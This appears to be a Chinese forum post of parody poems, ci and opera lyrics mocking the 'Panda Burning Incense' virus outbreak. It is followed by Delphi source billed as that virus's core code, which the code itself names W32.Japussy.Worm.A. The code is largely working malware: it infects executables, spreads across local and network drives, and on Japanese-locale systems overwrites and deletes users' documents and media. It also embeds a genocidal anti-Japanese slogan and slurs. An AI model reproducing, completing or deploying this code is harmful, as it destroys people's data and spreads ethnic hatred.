床前明月光,熊猫在烧香
专杀杀不尽,两眼泪汪汪
熊猫烧不尽，关机开又生
宝剑锋自磨砺出，熊猫香自网上来。
无边香火烧烧下，不尽熊猫滚滚来。
身心俱疲终不悔，为猫消得人憔悴
千呼万唤猫出来，犹抱香火半遮面
相见时难杀亦难，熊猫烧香百机残。
熊猫逊雪三分白，雪却输猫一炷香。
天长地久有时尽，此香绵绵无绝期。
猫儿香香烧九州，几家欢乐几家愁。
唯有烧香多放肆，敢教熊猫换小犬。
梨花院落溶溶月.天榭熊猫烧烧香.
水火刀兵无妄灾,熊猫烧香也自然.
熊猫本无心,何乎众人杀
烧香时难灭亦难，杀软无力电脑残
熊猫如此多娇, 引无数网民竟折腰
上邪~此猫欲烧吾香~山无棱~天地合~此猫杀不绝
朝辞木马卡巴间，千里熊猫一刻来．
两岸烧香停不住，病毒已染万重山.
黑夜给我黑色的熊猫 我却用它来烧香
熊猫铲尽根除日，家祭毋忘告乃机
木马未净，熊猫先行，一半机停。。
久旱逢熊猫,
它乡遇烧香。
机房杀毒夜，
明早装机时。
一提熊猫泪千行,咋知何日不烧香。
天涯何处无熊猫,何必单恋三枝香。
熊猫未死香不尽，杀毒正扫泪怎干？
路逢熊猫须当避，不是高手莫修机。
只因世上多熊猫，才有人间百毒生。
熊猫一个能毁机，杀毒一堆也关闭。
梦里寻猫千百度,蓦然回首已在香火栅栏处
我轻轻得走来 杀不掉一根熊猫毛
未中莫笑已中者，熊猫一会到你家。
熊猫宜解不宜结，生生烧香几时休。要知前世因，今生揍熊猫；要知后世因，今生打熊猫
。我从熊猫来，也从猫熊去。
熊猫本无火，烧香亦非拜，本来无一机，何处中毒来。
冬眠不觉晓，病毒卡巴绞,
熊猫夜烧香，文件毁多少？
《天净沙 烧香》
江民瑞星昏花，
金山诺顿搬家，
卡巴斯基堕马。
熊猫香下，
网中人在死捱！
老猫伏枥，志在千机；病毒暮年，烧香不已。
满机熊猫关不住，三支高香出墙来。
年年岁岁猫相似，岁岁年年香不同。
熊猫离家带香回，毒性无改势未衰。
卡巴相见不相识，笑问猫从何处来。
劝君更烧一炷香，系统恢复无镜像。
机房风光,
千里机瘫,
万里半残。
防火墙内外,
废墟莽莽；
硬盘上下，
顿时逃逃。
你舞战斧，
我施冷枪，
杀软病毒试比高。
内存如此稀少，
引无数电脑竞折腰。
惜千禧年虫，
功亏一篑；
欢乐时光，
两月魂消。
一代天骄，
冲击震荡，
只识启机关电脑。
俱完矣，
数风流病毒，
还看熊猫
碧云天,黄花地,西风紧,熊猫烧香。晓来谁染exe？总是熊猫香。
熊猫言：“猫以险衅，夙遭闵凶。生猫六月，猫父见背；行年四岁，舅夺母志。祖母猫，
愍猫孤弱，躬亲抚养。猫少多疾病。九岁不行。零丁孤苦，至于成立。既无猫伯，终鲜猫
弟。门衰祚薄，晚有猫息。外无期功强近之亲，内无应门五尺之童。茕茕孑立，形影相吊
。猫祖夙婴疾病，常在床蓐；猫烧香火，未尝废离。
逮奉圣朝，沐浴清化。前太守瑞星，察猫孝廉；后刺史卡巴，举猫秀才。猫以供养无
主，辞不赴命。专杀特下，拜猫郎中。寻蒙黄恩，除猫洗马。猥以微贱，当染硬盘，非猫
烧香所能上报。猫具以表闻，辞不就职。网速切峻，责猫逋慢。金山逼迫，催猫上道。江
民临门，急于星火。猫欲奉诏猛烧，则以猫祖病日笃；欲苟顺私情，则告诉不许。猫之进
退，实为狼狈。
胡:想当初,
老子的网吧才开张
拢共才有十几台机
七八条枪
遇熊猫追得我晕头转向
多亏了阿庆嫂
她叫我回收站里面把身藏
她那里视频上网
面不改色无事一样
骗走了熊猫军
我才躲过大难一场
似这样
救命之恩终生难忘
俺胡某讲义气
终当报偿
刁:这个女人哪不寻常
嫂:刁德一有什么鬼心肠
胡:这小刁,一点面子也不讲
嫂:这草包倒是一堵系统自带防火墙
刁:她态度不卑又不亢
嫂:他神情不阴又不阳
胡:刁德一,搞的什么鬼花样
嫂:他们到底是税务还是工商
刁:我待要,旁敲侧击将她黑
嫂:我必须,察言观色把他防
刁:适才听得司令讲
阿庆嫂真是不寻常
我佩服你沉着机灵有胆量
竟敢在熊猫面前烧高香
若无有防毒免重装的好思想
焉能够舍己救人不慌张
嫂:参谋长休要谬夸奖
舍己救人不敢当
开网吧,盼兴旺
经济效益第一桩
司令常来又常往
我有心背靠大树好乘凉
也是司令的洪福广
方能遇难又呈祥
刁:新四军久在沙家浜
这棵大树有阴凉
你与他们长来往
想必是安排照应更周详
嫂:垒起双飞燕
明基搭罗技
摆开电脑桌招待十六方
来的都是客,全凭嘴一张
灌水开口笑,过后不思量
人一走,帖就凉
有什么周详不周详
铁 梅 奶奶，您听我说！
（唱）【西皮流水】
我机的熊猫不清，
没有大事不登门。
虽说是，虽说是病毒又不相认，
杀毒软件总发闷。
网友齐声唤烧香，
这里的奥妙我也能猜出几分。
他们和威金都一样，
都有一颗蠕虫的心。
一猫烧香，万机无奈
但使熊猫烧香在，不教残机过好年。
熊猫已被格式化，此地空余白硬盘。
熊猫一去不复返，网民硬盘空悠悠。
熊猫烧烧三炷香，系统萋萋E X E 。
重要资料何处是? 可恶熊猫使人愁。
《虞美人》
熊猫烧香何时了，
中毒知多少？
ghost昨夜又失踪，
系统不堪回首缓慢中。
文件程序应犹在，
只是图标改。
问君能有几多愁，
恰似一江春水向东流。
《熊猫》
猫，猫，猫，
拿香向天烧。
闭眼作祈祷，
明天会更好。
君不见崭新电脑刚买来，奔腾双核不复回。
君不见中毒重装悲白发，朝如青丝暮成雪。
人生得意须尽欢，莫使论坛空灌水。
天生熊猫必有用，千香烧尽还复来。
死机兰屏且为乐，还原一键三百秒。
橙八月，灰鸽子，将进酒，杯莫停。
与君歌一曲，请君为我开视频。
盗版XP不足贵，但愿长网不掉线。
古来网虫皆寂寞，惟有制毒留其名。
陈王昔时上通宵，光纤千兆恣欢谑。
主人何为言少钱，径须沽取对君酌。
微星板，华硕卡，
呼儿将出换扣肉，与尔同销万古愁。
百度鸟飞绝
千万高手来
熊猫烧香在
求爷拜奶奶
《伤机》
熊猫生南国，
香来烧几支？
愿君多买碟，
此毒最伤机。
君不见熊猫之香网上来，系统崩溃不复回。
君不见杀毒软件没办法，朝如青丝暮成靶。
虽被感染须尽欢，莫使微机空对月。
天生熊猫必烧香，硬盘格尽还复来。
熊猫它爹且为乐，逮着必揍三百拳。
卡巴兄、江民弟：将烧香，机莫关。
与君香一柱，请君为我倾耳听。
系统文件不足贵，但愿熊猫不更新。
古来病毒皆寂寞，惟有熊猫留其名。
威金昔时挂博客，染机十千恣欢谑。
牛人何为言少钱，径须苟取熊猫主。
冤有主，债有头, 熊猫烧香算个求，
有种你烧遍地球。
熊猫本无罪，
香炉亦清白。
必缴造毒者，
还望汝节哀。
《杀软不敌》
可怜电脑百千台，
双击程序久不开。
满机熊猫关不住，
三支高香出墙来。
《香烧网》
人烦熊猫乐，毒劲机删空。
香出烧疯了，殖民网络中。
春节前夕雨纷纷,登上QQ欲断魂.
借问香火何时灭,网友遥指灭猫村
金山薄，瑞星恶，熊猫烧香花易落。江民软，卡巴残，杀毒心事，独语斜栏。难，难，难
！病毒常似秋千索。文件残，夜阑珊，怕猫来问，咽泪装欢。瞒，瞒，瞒！
熊猫夜烧香三柱，更烧出，大病毒。瑞星卡巴尸满路，IE**，XP难入，一夜GHO无。 满
城尽烧国宝香，怒气冲天格盘去，众里寻他千百度，蓦然回首，专杀依旧，不知何处。
日照香炉升紫烟，疑似熊猫在烧香
夹香独上西楼, 月如钩. 寂寞杀毒深房锁春秋. 杀不断. 带复活. 别是一翻滋味在心头.
江城子.熊猫烧香
爱机已死两忙忙，不思量，自难忘。
熊猫烧香，无处话凄凉。
纵使相逢应不识，恨满面，屏如霜。
夜来恶梦忽还乡，小熊猫，正烧香。
相顾无言，唯有泪千行。
料得重装爱机日，熊猫来，还烧香。
附：熊猫烧香 - 核心源码
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码，以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用，退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节)，存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码，将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件，将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之？
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings[i] + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧！
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList[i] + ':', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.
~~~~~~~~~~~~~~~~~~~~~~~~